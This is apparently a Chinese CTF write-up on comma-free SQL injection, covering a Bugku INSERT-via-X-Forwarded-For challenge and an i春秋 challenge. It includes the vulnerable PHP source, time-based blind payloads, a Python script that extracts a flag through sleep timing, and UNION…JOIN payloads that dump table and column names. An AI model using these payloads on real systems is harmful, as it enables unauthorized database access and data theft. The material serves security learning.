sql注入的防御在于过滤非法字符串,而通过精心构造的语法能绕过过滤.记录一下,无逗号注入的两个姿势

小实验

两张图片自行领会

bugku INSERT INTO SQL

这题题目给出了源码,从请求包中获取IP,插入数据库中,并且再回显回页面.

从源码上看,只对ip进行了逗号分割的操作.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

首先先判断是否存在注入

1
X-Forwarded-For:1.1.1.1'+sleep(5) and '1'='1

发现确是延迟五秒返回

如果我们输入常规的注入语句,例如

1
union select 1,2,3

发现第一个逗号右边的都不见了.

那么就要构造一种不需要逗号的注入

所以可以构造语句

1
2
3
127.0.0.1'+(select case when substr((database()) from 1 for 1)>'a' then sleep(5) else 0 end))-- +

127.0.0.1'+(select case when ascii(substr((database()) from 1 for 1))>1 then sleep(5) else 0 end))-- +

发现截取第几位字符可以用 from 1 for 1来代替

剩下的就是构造常规的sql语句,分别爆表名,列名,字段,这里就不赘述了,需要写一个脚本..

别人网站上偷了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding:utf-8 
import requests
maystr="0987654321qwertyuiopasdfghjklzxcvbnm"
url="http://127.0.0.1/sql/sql.php"
flag=""
for i in range(32):
for str in maystr:
headers={"x-forwarded-for":"127.0.0.1'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(6) else sleep(0) end ) and '1'='1"%(i+1,str)}
# proxy={"http":"http://127.0.0.1:8080"}
# res=requests.get(url,headers=headers,timeout=3)
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout,e:
flag=flag+str
print "flag:",flag
break
except KeyboardInterrupt,e:
exit(0)
else:
pass
# rint i+1,str

i春秋百度杯九月第三周SQLi

同样的发现逗号被过滤了,没有逗号 截取字符串可以是上文利用 from 1 来读取整个字符,

这边用另外一种姿势

1
union select * from  ( (select user())a JOIN  (select version())b );

对这个没有去过多的研究,先简单的记录下这个姿势,原理性的东西慢慢啃吧,狗命要紧.(逃:

爆表

1
id=-1%27%20union%20select%20*%20from%20((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())a%20JOIN%20(select%20version())b)%20%23

爆列

1
id=-1%27%20union%20select%20*%20from%20((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a%20JOIN%20(select%20version())b)%20%23

一开始只想到注入出一个表一个列,当意识到第一个表和列并没有flag的时候想着查询第二个列,可是…limit需要逗号啊啊啊啊!郁闷了半天之后可以用group_cancat().